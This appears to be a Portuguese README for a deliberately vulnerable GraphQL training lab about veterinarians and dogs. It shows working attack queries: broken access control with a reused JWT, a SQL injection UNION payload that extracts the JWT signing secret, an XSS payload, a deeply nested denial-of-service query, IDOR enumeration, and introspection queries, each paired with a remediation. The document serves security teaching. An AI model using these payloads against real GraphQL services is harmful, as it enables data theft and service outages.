
Pesquisa sobre GraphQL do ponto de vista de AppSec.
Um laboratório foi criado para estudar os diferentes problemas, este considera o contexto de um veterinário gerindo cuidados de saúde de cães.
O laboratório foi desenvolvido utilizando IntelliJ IDEA Community Edition.
Domínios utilizados são os seguintes:```text
127.0.0.1 localhost 127.0.0.1 domain1.local 127.0.0.1 domain2.local
Existem as condições e suposições do laboratório:
* Um Veterinário pode estar associado a 0 ou N cães.
* Um Cão pode estar associado a 0 ou 1 Veterinário.
* Um Veterinário possui uma propriedade chamada **Popularidade** presente no sistema de armazenamento (banco de dados), mas não deve ser acessada pelo cliente GraphQL por ser uma informação sensível.
* O ponto de vista de consumo de dados do GraphQL é o Veterinário. As informações do Cão são públicas.
* O laboratório é explicitamente uma aplicação vulnerável na qual várias vulnerabilidades foram implementadas e são identificadas usando o marcador `[VULN]` nos comentários.
* Quanto à autenticação, um serviço falso de terceiros foi implementado (via um servlet) e retorna um token JWT contendo o nome do Veterinário no token.
Uma vez iniciado via configuração de execução presente no projeto ou pelo comando `mvn spring-boot:run`, o laboratório está disponível nestes endpoints:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
Para empacotar a aplicação, como um arquivo jar portátil, use o comando `mvn package` (um arquivo jar pré-construído está disponível [aqui](https://github.com/righettod/poc-graphql/releases)):
* O arquivo jar será criado na pasta *target* e será nomeado *graphql-poc.jar*.
* Use o comando `java -jar graphql-poc.jar` para executar a aplicação.
## Implantação no Docker
> A imagem é publicada todos os dias no [DockerHub](https://hub.docker.com/r/righettod/poc-graphql)
Para implantar a aplicação em um container docker, siga os passos:
1. Certifique-se de ter o `docker` instalado.
2. `git clone` do repositório.
3. Entre no diretório clonado.
4. Construa a imagem docker usando `docker build -t poc-graphql .`
5. Agora uma imagem chamada **poc-graphql:latest** foi criada em sua máquina.
6. Execute o container usando `docker run -p 8080:8080 poc-graphql:latest`
7. Acesse o laboratório usando os seguintes endpoints:
* [GraphiQL](http://localhost:8080/graphiql)
* [GraphQL](http://localhost:8080/graphql)
## Fraquezas de segurança
### Autorização
*controle de acesso quebrado*
[CWE-285](https://cwe.mitre.org/data/definitions/285.html)
#### Problema
Como o GraphQL é baseado em um único endpoint para o qual todas as requisições são enviadas e como a autorização está fora do escopo da especificação (nenhum recurso embutido).
Cabe à aplicação implementar uma lógica de autorização.
No meu laboratório, tenho uma vulnerabilidade nesse ponto porque a verificação do token de acesso não verifica que o token pertence ao veterinário passado no **veterinaryId**
**Exemplo:**
Eu peço um token de acesso para **Dr Julien** que tem o identificador **3** no armazenamento enviando esta requisição GraphQL:```javascript
query getAccessToken {
auth(veterinaryName: "Julien")
}
Recebo o token de acesso na seguinte resposta GraphQL:```javascript { "data": { "auth": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI" } }
Envio uma requisição GraphQL para a consulta `myInfo(...)` usando o token de acesso obtido, MAS especifico o identificador **2** que é o de **Dr Benoit**:```javascript
query brokenAccessControl {
myInfo(accessToken:"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDQyOTAyfQ.H9A-vXRsiivFGShtdhiR3N2lSDDx-sNqbbJxMRNnExI", veterinaryId: 2){
id, name, dogs {
name
}
}
}
Eu recebo na resposta GraphQL a lista de Dogs associados com Dr Benoit:```javascript { "data": { "myInfo": { "id": 2, "name": "Benoit", "dogs": [ { "name": "Babou" }, { "name": "Baboune" }, { "name": "Babylon" }, ...
#### Recomendação
Com GraphQL, passamos de uma matriz de autorização usando `Role x Feature` para segurança no nível de dados usando `Role x Data` porque também há um único endpoint. A identidade do usuário e as funções devem ser passadas para a camada superior responsável por obter os dados (ou agir sobre eles) a fim de aplicar uma verificação usando a identidade do usuário antes de obter os dados.
### Injeção
[CWE-20](https://cwe.mitre.org/data/definitions/20.html) / [CWE-116](https://cwe.mitre.org/data/definitions/116.html)
#### Problema
De acordo com como as informações da consulta/mutação/assinatura da solicitação GraphQL são usadas pelo servidor GraphQL para agir sobre os armazenamentos de dados, existe possibilidade de injeção.
Nos meus laboratórios, tenho uma vulnerabilidade nesse ponto sobre SQLi na consulta `dogs(namePrefix: String, limit: Int = 500): [Dog!]` porque o parâmetro **namePrefix** é usado em concatenação de strings para construir uma consulta SQL.
**Exemplo:**
Eu envio esta solicitação GraphQL para listar o conteúdo da tabela `CONFIG````javascript
query sqli {
dogs(namePrefix: "ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- ", limit: 1000) {
id
name
}
}
Eu recebo na resposta GraphQL o segredo usado para assinar o token JWT junto com o nome do cachorro cujo nome começa com ab:```javascript { "data": { "dogs": [ { "id": 1, "name": "Abi" }, { "id": 2, "name": "Abime" }, { "id": 50, "name": "$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^" } ] } }
Sobre XSS, é interessante notar que a resposta do GraphQL reflete o parâmetro enviado em caso de falha de validação na requisição enviada.
**Exemplo:**
Envio esta requisição GraphQL para a consulta `myInfo(accessToken: String!, veterinaryId: Int!): Veterinary`, substituo o identificador do Veterinary (que é um inteiro) por um payload XSS de String:```javascript
query xss {
myInfo(accessToken: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNTQ2NDU1MDQwfQ.P87Ef-GM99a_vzzbUf2RprUYxFgxgPnSukaVnz22BJ0",
veterinaryId: "<script>alert('XSS')</script>") {
id
}
}
Recebo esta resposta GraphQL que reflete meu payload, portanto, dependendo do cliente GraphQL e do seu comportamento de escape/sanitização, pode abrir portas para XSS:```javascript { "data": null, "errors": [ { "message": "Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'", "locations": [ { "line": 3, "column": 5, "sourceName": null } ], "description": "argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'", "validationErrorType": "WrongType", "queryPath": [ "myInfo" ], "errorType": "ValidationError", "path": null, "extensions": null } ] }
#### Recomendação
* Aplique validação de entrada nos dados recebidos via Query/Mutation/Subscription antes de usá-los
* Garanta que o cliente que renderiza os dados da resposta GraphQL aplique escape/sanitização nos dados antes de renderizá-los.
### Exaustão de recursos
[CWE-400](https://cwe.mitre.org/data/definitions/400.html)
#### Problema
Como o cliente controla a quantidade de dados solicitados, ele pode enviar uma requisição GrapQL para uma consulta que cause exaustão de recursos nos armazenamentos chamados pelo servidor GraphQL, bem como no próprio servidor GraphQL para a serialização dos dados em JSON.
Este problema também pode ocorrer usando uma mutation ao enviar uma grande quantidade de dados nos parâmetros (validação de entrada pode ser usada aqui para evitar este ataque).
Este problema também pode ocorrer usando uma subscription por meio de:
* Registrar um grande número de assinantes e em cada subscription exposta.
* Enviar uma grande quantidade de dados nos parâmetros usados pelas subscriptions.
Em meus laboratórios, tenho uma vulnerabilidade neste ponto para query, precisamente na query `allDogs(onlyFree: Boolean = false, limit: Int = 500): [Dog!]` que está disponível para usuário anônimo e recupera o conteúdo do banco de dados sobre o Dog. Como existe uma relação entre Dogs e um Veterinary e o inverso, então é possível realizar chamadas em cascata causando exaustão de recursos no nível SQL no banco de dados.
**Exemplo:**
Quando envio esta requisição, faço minha CPU ir a 100% durante vários minutos e meu banco de dados é local pois é um SQLite```javascript
query dos {
allDogs(onlyFree: false, limit: 1000000) {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
veterinary {
id
name
dogs {
id
name
}
}
}
}
}
}
}
}
}
}
}
}

Para Query:
Dependendo da implementação do servidor GraphQL utilizado, use a proteção integrada fornecida para Maximum Query Depth & Query Complexity (veja as especificações aqui).
Para a implementação em Java, adicione estas 2 classes de instrumentação à estratégia de execução:
Veja esta classe para um exemplo de uso das duas instrumentações acima.
Para Mutation/Subscription:
Com o GraphQL, um recurso de introspecção é oferecido ao cliente para acessar o esquema da API, a fim de descobrir os dados disponíveis, Query e Mutation e Subscription sobre eles.
Nota: Desabilitar a Introspecção coloca seu servidor em desacordo com a especificação GraphQL e as expectativas da maioria dos clientes, então use com cuidado. Prefira filtrar o acesso a desabilitá-lo do ponto de vista de negócios.
Isso implica que qualquer cliente pode explorar o esquema para ver se em Type alguma informação sensível interessante está exposta (é a mesma observação sobre ações em relação a Mutation ou Subscription expostas).
Usando o GraphiQL através do painel Documentation Explorer ou este script é possível navegar pelo esquema exposto de um endpoint GraphQL.
No meu laboratório, por erro, eu expus a informação de popularidade considerada sensível sobre um Veterinary no Type Veterinary.
No meu laboratório, esta url permite obter uma cópia do esquema.
Exemplo:
Usando o painel Documentation Explorer, encontrei este campo:



A restrição de autenticação pode ser definida no acesso ao endpoint GraphQL para evitar exposição a usuários anônimos, mas qualquer usuário autenticado acessará este esquema de informações.
Mesmo que um cliente possa ver a estrutura de um tipo expondo informações sensíveis, para ver essa informação é necessário ter permissão na Query/Mutation/Subscription que retorna esses dados.
Não mapeie informações sensíveis nos tipos definidos no esquema.
Como o GraphQL materializa como o cliente consumirá os dados, o GraphQL não deve expor todos os dados disponíveis no armazenamento vinculado, mas apenas aqueles úteis para o cliente de acordo com o contexto de negócio da API GraphQL exposta a eles.
Quando o servidor GraphQL encontra um erro inesperado (I/O com armazenamentos, NullPointerException, Timeout...), a resposta indica Internal Server Error(s) while executing query, o que dá uma dica ao atacante de que ele agiu no sistema e causou um comportamento inesperado.
Exemplo:
Quando envio esta consulta de requisição no meu laboratório (token inválido):```javascript query testErrorHandling { myInfo(accessToken:"aaaa", veterinaryId: 2){ id, name, dogs { name,veterinary{ name } } } }
Recebo esta resposta que me informa que agi no sistema e causei um comportamento inesperado. Talvez, por exemplo, eu tenha gerado um stack trace no log do aplicativo e, se os arquivos de log do aplicativo estiverem rotacionando por data (diariamente) e não por tamanho, então posso enviar essa requisição várias vezes para encher o disco com logs de erros...```javascript
{
"data": {
"myInfo": null
},
"errors": [
{
"message": "Internal Server Error(s) while executing query",
"path": null,
"extensions": null
}
]
}
Retorna um erro genérico se um erro inesperado for encontrado, como por exemplo A consulta não pode ser processada!
Veja um exemplo nesta classe.
Se a API GrapQL expõe Query/Mutation/Subscription cujo identificador de dados é adivinhável/previsível, então essas Query/Mutation/Subscription estão expostas a ataques IDOR nos quais o atacante utilizará uma lista personalizada de identificadores para tentar acessar ou agir sobre dados cujo identificador está na lista, e a ação terá sucesso se também houver falhas de autorização na Query/Mutation/Subscription alvo que manipula os dados.
As Query/Mutation/Subscription da API GraphQL propostas pelos meus laboratórios são vulneráveis a IDOR porque eu uso inteiros sequenciais como identificadores únicos para Cachorro e Veterinário.
Exemplo:
Usando o Documentation Explorer do GraphiQL, vemos que os identificadores são números inteiros simples e sequenciais:


Solicitar consulta para detectar IDOR:```javascript query detectIDOR { allDogs{ id,veterinary{ id } } }
A resposta mostra o identificador sequencial para Dog e Veterinay:```javascript
{
"data": {
"allDogs": [
{
"id": 1,
"veterinary": {
"id": 1
}
},
{
"id": 2,
"veterinary": {
"id": 1
}
},
{
"id": 3,
"veterinary": {
"id": 1
}
},
...
{
"id": 55,
"veterinary": {
"id": 2
}
},
{
"id": 56,
"veterinary": {
"id": 2
}
},
{
"id": 57,
"veterinary": {
"id": 2
}
},
{
"id": 58,
"veterinary": {
"id": 2
}
},
{
"id": 59,
"veterinary": {
"id": 2
}
...
Ao usar um servidor de implementação GraphQL para construir sua API GraphQL, pode acontecer que este habilite por padrão algumas funcionalidades que expõem a API GraphQL à esfera errada de clientes.
No meu laboratório é o caso porque, por padrão, um endpoint WebSocket é exposto no caminho /subscriptions e não requer qualquer autenticação (veja este documento precisamente a seção Atualizações em Tempo Real com Subscriptions):

Clientes podem obter acesso aos dados da API através deste endpoint se o schema declarar subscriptions na seção Subscription.
Exemplo:
Posso ver as subscriptions expostas através do schema:

Se eu enviar esta requisição de subscription para receber evento da subscription newAssociation:```javascript subscription subscribeToNewAssociation{ newAssociation }
Recebo a seguinte mensagem indicando que, a partir de agora, receberei informações desta subscrição:```text
Your subscription data will appear here after server publication!
E quando eu crio uma associação via esta requisição de mutação em outro navegador, por exemplo:```javascript mutation associateDog{ associateDogToMe(accessToken: "eyJ0eXAiOiJKV1Qi...", veterinaryId: 4, dogId: 198){ name } }
A resposta da mutação prova que a ação foi realizada no nível de dados:```javascript
{
"data": {
"associateDogToMe": {
"name": "Dobby"
}
}
}
Após um momento, recebo esta notificação em resposta à minha inscrição:```javascript { "newAssociation": "Dog['Dobby'] associated with Veterinary['Maxime']." }

##### Ativação padrão do Cross-Origin Resource Sharing
No meu laboratório, este é o caso porque, por padrão, o [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) está ativado e configurado como `*`, permitindo que a API seja chamada por qualquer `origin`.
**Exemplo:**
Quando envio esta requisição na qual especifico uma `origin` diferente de *domain1.local* para *domain2.local*:```text
POST /graphql HTTP/1.1
Host: domain2.local:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
origin: http://domain1.local:8080
referer: http://domain1.local:8080
Content-Length: 104
DNT: 1
Connection: close
Pragma: no-cache
Cache-Control: no-cache
{"query":"query testCORS {\n allDogs{\n name\n }\n}\n","variables":null,"operationName":"testCORS"}
Eu recebo esta resposta:```text HTTP/1.1 200 OK Connection: close Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Content-Type: application/json;charset=UTF-8 Content-Length: 3562 Date: Sat, 05 Jan 2019 16:23:47 GMT
{"data":{"allDogs":[{"name":"Abi"},...
Chamada de um navegador:


#### Recomendação
Verifique os recursos habilitados por padrão e desabilite-os se isso impactar a exposição da API.
Para o endpoint de Subscriptions:
* Se você expõe subscription, garanta que haja Autenticação e Controle de Acesso em cada subscription exposta no schema.
* Se você não expõe subscription, desabilite o endpoint WebSocket ou bloqueie este endpoint no nível do WAF/Servidor de Aplicação.
No meu laboratório, foi necessário definir as seguintes opções neste [arquivo de configuração](https://github.com/righettod/poc-graphql/blob/master/src/main/resources/application.properties):
* Para CORS: `graphql.servlet.corsEnabled=false`
* Para WebSocket: `graphql.servlet.websocket.enabled=false`
## Consultas de descoberta
As seguintes consultas podem ser usadas para obter o schema.
Não detalhado:```javascript
{
__schema {
types {
name
kind
description
fields {
name
}
}
}
}
Detalhado:```javascript query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } }
fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } }
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }
## Referências utilizadas
### GraphQL
* [Site do GraphQL](https://graphql.org/)
* [Tutoriais do GraphQL](https://www.howtographql.com/)
* [Blog DOYENSEC sobre questões de GraphQL](https://blog.doyensec.com/2018/05/17/graphql-security-overview.html)
### Laboratórios
* [graphql-spring-boot](https://github.com/graphql-java-kickstart/graphql-spring-boot)
* [graphql-java-kickstart](https://www.graphql-java-kickstart.com)